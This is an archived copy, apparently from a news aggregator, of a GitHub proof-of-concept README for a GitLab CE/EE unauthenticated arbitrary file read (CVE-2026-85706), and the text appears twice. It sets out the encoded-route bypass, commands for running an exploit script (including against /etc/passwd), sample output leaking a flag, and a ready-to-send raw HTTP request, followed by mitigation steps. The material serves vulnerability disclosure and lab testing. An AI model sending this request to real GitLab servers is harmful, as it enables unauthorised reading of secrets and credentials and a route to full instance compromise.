GitLab CE/EE Unauthenticated Arbitrary File Read Exploit PoC (CVE-2026-85706)
Summary
Why it matters
- CVE
- CVE-2026-85706
- Vendor
- GitLab
- Product
- GitLab CE/EE
- Affected versions
- 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1
- CVSS
- 10
- Published
- Collected
📦 Full-Text Content Snapshot
R2 Archive · Full Article PreservedAuthor: EQSTLab · Source: github.com/EQSTLab/CVE-2026-85706
★ CVE-2026-85706 GitLab unauthenticated arbitrary file read PoC ★
Overview
CVE-2026-85706 is an unauthenticated arbitrary file read in GitLab CE/EE (CVSS 10.0, CISA KEV) via
POST /api/v4/projects/:id/repository/commits, whose body-upload helper runs beforeauthenticate!and readsparams['file.path']as an absolute path with no confinement. URL-encoding one char ofcommits→%63ommitsmakes GitLab-Workhorse miss the route (so it never overwritesfile.path), while Rails still decodes%63 → cand routes to the handler — letting the attacker setfile.pathvia the query string. WithContent-Type=application/x-www-form-urlencoded, the helper re-parses the file content and a%not followed by two hex digits reflects that content in the400body (files without one give only a401read oracle). Requires at least one public project.
Affected Versions
| Category | Version |
|---|---|
| Vulnerable | GitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1 |
| Patched | 19.1.8 / 19.2.6 / 19.3.2 or later (2026-09-10) |
Impact
- Unauthenticated arbitrary file read of any file readable by the GitLab service process.
- Disclosure of files whose content contains an invalid
%(application logs, and configs/credentials that embed URL-encoded values) → recon + credential theft → chaining to authenticated access / full instance compromise. - The read primitive reaches high-value files (
gitlab-secrets.json,database.yml); note that purely hex/base64 files return only an existence oracle through the public%reflection channel (no invalid%byte to trigger the echo). - The fix adds
authenticate!ahead of the body-upload helper, so an unauthenticated request is refused before the file-read sink.
Environment
Build and run the vulnerable GitLab CE. On boot, the seeder plants /flag.txt (with a trailing % leak trigger) and creates a public project victim/public-app (project id 1) so the commits API is reachable unauthenticated. First boot takes ~2–3 minutes.
docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706
# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log # look for: [seed] SEED_DONE ...The flag is a placeholder (EQST{gitlab_cve_2026_85706_arbitrary_file_read}). Set your own at run time without editing the image: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.
| Precondition | State in this lab |
|---|---|
| GitLab 18.7 – 19.1.7 | 19.1.7-ce.0 |
| At least one public project (anon reaches the commits API) | victim/public-app (id 1), auto-created |
/api/v4/projects/:id/repository/commits reachable unauthenticated | exposed |
| Flag on the server filesystem | /flag.txt (trailing % reflection trigger) |
PoC
The exploit gitlab_exploit.py reads a file off the server with a single unauthenticated request, using the %63ommits Workhorse route bypass and the urlencoded re-parse error channel. Pick the file with --read (default /flag.txt).
# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2
# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd
# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --checkOutput:
[*] target http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}Options:
--read "<abs path>"— absolute file path to read (default/flag.txt)--project <id>— public project id reachable unauthenticated (default1)--check— only confirm the file-read sink is reachable (expectslocal file not present)
Raw request (for Burp Repeater):
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: closeMitigation
- Upgrade GitLab to 19.1.8 / 19.2.6 / 19.3.2 or later.
- If you cannot upgrade immediately, block
POST/PUTto*/repository/commits*and*/repository/files*at a proxy/WAF, and place the instance behind SSO / VPN / an IP allowlist. - After patching: assume any file readable by the GitLab service (logs, configs, secrets) was exposed if the endpoint was internet-reachable — invalidate sessions and rotate exposed credentials / secrets.
📦 Full-Text Markdown Snapshot archived by Phying News · Original source: github.com
---
id: 8851
canonical_url: "https://phying.com/item/8851"
title: "GitLab CE/EE Unauthenticated Arbitrary File Read Exploit PoC (CVE-2026-85706)"
type: "vulnerability"
cve: "CVE-2026-85706"
cvss: 10
severity: "critical"
vendor: "GitLab"
product: "GitLab CE/EE"
affected_versions: "18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1"
source_domain: "github.com"
source_url: "https://github.com/EQSTLab/CVE-2026-85706"
published_at: "2026-09-28T05:17:40Z"
snapshot_at: "2026-10-26T05:50:00Z"
archived_by: "Phying News (https://phying.com/item/8851)"
lang: "en"
---
# CVE-2026-85706 GitLab unauthenticated arbitrary file read
*Author: EQSTLab · Source: [github.com/EQSTLab/CVE-2026-85706](https://github.com/EQSTLab/CVE-2026-85706)*
★ CVE-2026-85706 GitLab unauthenticated arbitrary file read PoC ★
## Overview
> **CVE-2026-85706** is an **unauthenticated arbitrary file read** in **GitLab CE/EE** (CVSS 10.0, CISA KEV) via `POST /api/v4/projects/:id/repository/commits`, whose body-upload helper runs **before `authenticate!`** and reads `params['file.path']` as an absolute path with no confinement.
> URL-encoding one char of `commits` → **`%63ommits`** makes GitLab-Workhorse miss the route (so it never overwrites `file.path`), while Rails still decodes `%63 → c` and routes to the handler — letting the attacker set `file.path` via the query string. With `Content-Type=application/x-www-form-urlencoded`, the helper re-parses the file content and a `%` not followed by two hex digits reflects that content in the `400` body (files without one give only a `401` read oracle). Requires at least one public project.
## Affected Versions
| Category | Version |
|---|---|
| **Vulnerable** | GitLab CE/EE **18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1** |
| **Patched** | **19.1.8 / 19.2.6 / 19.3.2** or later (2026-09-10) |
## Impact
- Unauthenticated arbitrary file read of any file readable by the GitLab service process.
- Disclosure of files whose content contains an invalid `%` (application logs, and configs/credentials that embed URL-encoded values) → recon + credential theft → **chaining to authenticated access / full instance compromise**.
- The read primitive reaches high-value files (`gitlab-secrets.json`, `database.yml`); note that purely hex/base64 files return only an existence oracle through the public `%` reflection channel (no invalid `%` byte to trigger the echo).
- The fix adds `authenticate!` ahead of the body-upload helper, so an unauthenticated request is refused before the file-read sink.
## Environment
Build and run the vulnerable GitLab CE. On boot, the seeder plants `/flag.txt` (with a trailing `%` leak trigger) and creates a **public project** `victim/public-app` (**project id 1**) so the commits API is reachable unauthenticated. First boot takes ~2–3 minutes.
```bash
docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706
# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log # look for: [seed] SEED_DONE ...
```
The flag is a placeholder (`EQST{gitlab_cve_2026_85706_arbitrary_file_read}`). Set your own at run time without editing the image: `docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706`.
| Precondition | State in this lab |
|---|---|
| GitLab 18.7 – 19.1.7 | 19.1.7-ce.0 |
| At least one public project (anon reaches the commits API) | `victim/public-app` (id 1), auto-created |
| `/api/v4/projects/:id/repository/commits` reachable unauthenticated | exposed |
| Flag on the server filesystem | `/flag.txt` (trailing `%` reflection trigger) |
## PoC
The exploit `gitlab_exploit.py` reads a file off the server with a single **unauthenticated** request, using the `%63ommits` Workhorse route bypass and the urlencoded re-parse error channel. Pick the file with `--read` (default `/flag.txt`).
```bash
# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2
# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd
# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
```
Output:
```
[*] target http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}
```
Options:
- `--read "<abs path>"` — absolute file path to read (default `/flag.txt`)
- `--project <id>` — public project id reachable unauthenticated (default `1`)
- `--check` — only confirm the file-read sink is reachable (expects `local file not present`)
Raw request (for Burp Repeater):
```http
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close
```
## Mitigation
- Upgrade GitLab to **19.1.8 / 19.2.6 / 19.3.2** or later.
- If you cannot upgrade immediately, block `POST`/`PUT` to `*/repository/commits*` and `*/repository/files*` at a proxy/WAF, and place the instance behind SSO / VPN / an IP allowlist.
- After patching: assume any file readable by the GitLab service (logs, configs, secrets) was exposed if the endpoint was internet-reachable — invalidate sessions and **rotate exposed credentials / secrets**.
---
> 📦 **Full-Text Markdown Snapshot** archived by [Phying News](https://phying.com/item/8851) · Original source: [github.com](https://github.com/EQSTLab/CVE-2026-85706)